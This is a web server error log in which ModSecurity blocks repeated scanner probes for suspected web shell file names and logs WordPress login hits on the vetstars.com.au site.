[Wed Mar 04 03:44:23.637933 2026] [:error] [pid 13889:tid 13961] [client 20.127.131.187:52063] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/otuz1.php"] [unique_id "aac6Fw9JNV1nAmD7LEfU-wAAAI0"]
[Wed Mar 04 03:44:24.533020 2026] [:error] [pid 13889:tid 13968] [client 20.127.131.187:52067] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/otuz1.php"] [unique_id "aac6GA9JNV1nAmD7LEfU_gAAAJQ"]
[Wed Mar 04 03:44:25.407347 2026] [:error] [pid 13889:tid 13956] [client 20.127.131.187:35890] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/otuz1.php"] [unique_id "aac6GQ9JNV1nAmD7LEfVBAAAAIg"]
[Wed Mar 04 03:53:20.363155 2026] [:error] [pid 18553:tid 18564] [client 20.151.200.236:6928] [client 20.151.200.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aac8MGbax1neh8d0AHZywwAAAAA"]
[Wed Mar 04 03:53:21.222666 2026] [:error] [pid 18554:tid 18594] [client 20.151.200.236:6825] [client 20.151.200.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aac8MZ0fKmKeTIK7QS1ggQAAAEI"]
[Wed Mar 04 03:53:22.056699 2026] [:error] [pid 18555:tid 18620] [client 20.151.200.236:6925] [client 20.151.200.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aac8MjQeUDANiOsQ3GdMUgAAAIE"]
[Wed Mar 04 03:53:22.889842 2026] [:error] [pid 18554:tid 18601] [client 20.151.200.236:6790] [client 20.151.200.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wk/index.php"] [unique_id "aac8Mp0fKmKeTIK7QS1gigAAAEk"]
[Wed Mar 04 04:24:40.167450 2026] [:error] [pid 18554:tid 18615] [client 45.82.122.124:12926] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.82.122.124, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aadDiJ0fKmKeTIK7QS1u8gAAAFc"]
[Wed Mar 04 05:15:45.314235 2026] [autoindex:error] [pid 18555:tid 18631] [client 52.252.56.196:64099] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 04 05:16:21.958771 2026] [:error] [pid 18555:tid 18636] [client 52.252.56.196:65325] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aadPpTQeUDANiOsQ3GdpyAAAAJE"]
[Wed Mar 04 05:16:32.697367 2026] [:error] [pid 18553:tid 18588] [client 52.252.56.196:64122] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aadPsGbax1neh8d0AHaHLQAAABg"]
[Wed Mar 04 05:16:36.564750 2026] [:error] [pid 18681:tid 18702] [client 52.252.56.196:65290] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aadPtKE_TuZYUBveWkWRGwAAANM"]
[Wed Mar 04 05:16:37.855220 2026] [:error] [pid 18554:tid 18592] [client 52.252.56.196:65333] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aadPtZ0fKmKeTIK7QS2L7wAAAEA"]
[Wed Mar 04 05:16:38.361295 2026] [:error] [pid 18555:tid 18619] [client 52.252.56.196:64862] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aadPtjQeUDANiOsQ3Gdp0gAAAIA"]
[Wed Mar 04 05:16:38.964212 2026] [:error] [pid 54487:tid 54512] [client 52.252.56.196:64072] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aadPtvN8030QMpFXddsP8gAAARc"]
[Wed Mar 04 05:16:40.112690 2026] [:error] [pid 18554:tid 18602] [client 52.252.56.196:63630] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aadPuJ0fKmKeTIK7QS2L9QAAAEo"]
[Wed Mar 04 05:16:40.792896 2026] [:error] [pid 18553:tid 18565] [client 52.252.56.196:62786] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aadPuGbax1neh8d0AHaHNAAAAAE"]
[Wed Mar 04 05:16:41.411889 2026] [:error] [pid 54487:tid 54502] [client 52.252.56.196:65294] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aadPufN8030QMpFXddsP-QAAAQ0"]
[Wed Mar 04 05:16:42.098123 2026] [:error] [pid 18681:tid 18696] [client 52.252.56.196:64841] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aadPuqE_TuZYUBveWkWRIgAAAM0"]
[Wed Mar 04 05:16:42.673012 2026] [:error] [pid 18554:tid 18616] [client 52.252.56.196:63644] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aadPup0fKmKeTIK7QS2L_QAAAFg"]
[Wed Mar 04 05:16:43.200158 2026] [:error] [pid 54487:tid 54505] [client 52.252.56.196:64057] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aadPu_N8030QMpFXddsP_QAAARA"]
[Wed Mar 04 05:16:43.994200 2026] [:error] [pid 18555:tid 18634] [client 52.252.56.196:64855] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aadPuzQeUDANiOsQ3Gdp2AAAAI8"]
[Wed Mar 04 05:16:44.899084 2026] [:error] [pid 54487:tid 54491] [client 52.252.56.196:65369] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aadPvPN8030QMpFXddsQAAAAAQI"]
[Wed Mar 04 05:16:45.441058 2026] [:error] [pid 54487:tid 54508] [client 52.252.56.196:64779] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aadPvfN8030QMpFXddsQBgAAARM"]
[Wed Mar 04 05:16:46.243428 2026] [:error] [pid 54487:tid 54501] [client 52.252.56.196:65386] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aadPvvN8030QMpFXddsQCQAAAQw"]
[Wed Mar 04 05:16:46.712336 2026] [:error] [pid 18554:tid 18597] [client 52.252.56.196:64858] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aadPvp0fKmKeTIK7QS2MAgAAAEU"]
[Wed Mar 04 05:16:47.216490 2026] [:error] [pid 54487:tid 54502] [client 52.252.56.196:65291] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aadPv_N8030QMpFXddsQDQAAAQ0"]
[Wed Mar 04 05:16:48.030289 2026] [:error] [pid 54487:tid 54507] [client 52.252.56.196:65334] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aadPwPN8030QMpFXddsQEgAAARI"]
[Wed Mar 04 05:16:48.759041 2026] [:error] [pid 18554:tid 18598] [client 52.252.56.196:63650] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aadPwJ0fKmKeTIK7QS2MBAAAAEY"]
[Wed Mar 04 05:16:49.551471 2026] [:error] [pid 54487:tid 54510] [client 52.252.56.196:65370] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aadPwfN8030QMpFXddsQGgAAARU"]
[Wed Mar 04 05:16:50.061356 2026] [:error] [pid 18681:tid 18700] [client 52.252.56.196:63669] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aadPwqE_TuZYUBveWkWRKQAAANE"]
[Wed Mar 04 05:16:50.665178 2026] [:error] [pid 54487:tid 54492] [client 52.252.56.196:63728] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aadPwvN8030QMpFXddsQHAAAAQM"]
[Wed Mar 04 05:16:51.251111 2026] [:error] [pid 54487:tid 54494] [client 52.252.56.196:64049] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aadPw_N8030QMpFXddsQHwAAAQU"]
[Wed Mar 04 05:16:52.001031 2026] [:error] [pid 18681:tid 18699] [client 52.252.56.196:62793] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aadPw6E_TuZYUBveWkWRLAAAANA"]
[Wed Mar 04 05:16:52.725805 2026] [:error] [pid 18681:tid 18685] [client 52.252.56.196:64050] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aadPxKE_TuZYUBveWkWRLQAAAMI"]
[Wed Mar 04 05:16:53.359922 2026] [:error] [pid 18554:tid 18616] [client 52.252.56.196:64783] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aadPxZ0fKmKeTIK7QS2MCAAAAFg"]
[Wed Mar 04 05:16:54.414617 2026] [:error] [pid 54487:tid 54493] [client 52.252.56.196:62425] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aadPxvN8030QMpFXddsQKAAAAQQ"]
[Wed Mar 04 05:16:54.986939 2026] [:error] [pid 18554:tid 18602] [client 52.252.56.196:63743] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aadPxp0fKmKeTIK7QS2MDAAAAEo"]
[Wed Mar 04 05:16:55.979740 2026] [:error] [pid 18554:tid 18612] [client 52.252.56.196:63701] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aadPx50fKmKeTIK7QS2MEAAAAFQ"]
[Wed Mar 04 05:16:56.611639 2026] [:error] [pid 54487:tid 54500] [client 52.252.56.196:63637] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aadPyPN8030QMpFXddsQKwAAAQs"]
[Wed Mar 04 05:16:57.298549 2026] [:error] [pid 18555:tid 18624] [client 52.252.56.196:63686] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aadPyTQeUDANiOsQ3Gdp4QAAAIU"]
[Wed Mar 04 05:16:58.081767 2026] [:error] [pid 54487:tid 54505] [client 52.252.56.196:64856] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aadPyvN8030QMpFXddsQMQAAARA"]
[Wed Mar 04 05:16:59.176856 2026] [:error] [pid 54487:tid 54497] [client 52.252.56.196:64865] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aadPy_N8030QMpFXddsQNQAAAQg"]
[Wed Mar 04 05:16:59.977637 2026] [:error] [pid 54487:tid 54507] [client 52.252.56.196:64074] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aadPy_N8030QMpFXddsQNwAAARI"]
[Wed Mar 04 05:17:01.376122 2026] [:error] [pid 54487:tid 54495] [client 52.252.56.196:64804] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aadPzfN8030QMpFXddsQQAAAAQY"]
[Wed Mar 04 05:17:03.075837 2026] [:error] [pid 54487:tid 54490] [client 52.252.56.196:62437] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aadPz_N8030QMpFXddsQRAAAAQE"]
[Wed Mar 04 05:17:03.945794 2026] [:error] [pid 54487:tid 54497] [client 52.252.56.196:61517] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aadPz_N8030QMpFXddsQSAAAAQg"]
[Wed Mar 04 05:17:04.884138 2026] [:error] [pid 18553:tid 18570] [client 52.252.56.196:65319] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aadP0Gbax1neh8d0AHaHQQAAAAY"]
[Wed Mar 04 05:17:05.341210 2026] [:error] [pid 18553:tid 18582] [client 52.252.56.196:62802] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aadP0Wbax1neh8d0AHaHQgAAABI"]
[Wed Mar 04 05:17:06.249104 2026] [:error] [pid 54487:tid 54511] [client 52.252.56.196:65282] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aadP0vN8030QMpFXddsQUQAAARY"]
[Wed Mar 04 05:17:06.920603 2026] [:error] [pid 18555:tid 18627] [client 52.252.56.196:64826] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aadP0jQeUDANiOsQ3Gdp6QAAAIg"]
[Wed Mar 04 05:17:07.989236 2026] [:error] [pid 18555:tid 18630] [client 52.252.56.196:64868] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aadP0zQeUDANiOsQ3Gdp6gAAAIs"]
[Wed Mar 04 05:17:08.782256 2026] [:error] [pid 54487:tid 54501] [client 52.252.56.196:63639] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aadP1PN8030QMpFXddsQqQAAAQw"]
[Wed Mar 04 05:17:09.349858 2026] [:error] [pid 54487:tid 54496] [client 52.252.56.196:65312] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aadP1fN8030QMpFXddsQtQAAAQc"]
[Wed Mar 04 05:17:11.080645 2026] [:error] [pid 18554:tid 18614] [client 52.252.56.196:64043] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aadP150fKmKeTIK7QS2MLgAAAFY"]
[Wed Mar 04 05:17:12.640092 2026] [:error] [pid 18555:tid 18636] [client 52.252.56.196:61525] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aadP2DQeUDANiOsQ3Gdp7wAAAJE"]
[Wed Mar 04 05:17:13.677527 2026] [:error] [pid 54487:tid 54504] [client 52.252.56.196:63695] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aadP2fN8030QMpFXddsQvQAAAQ8"]
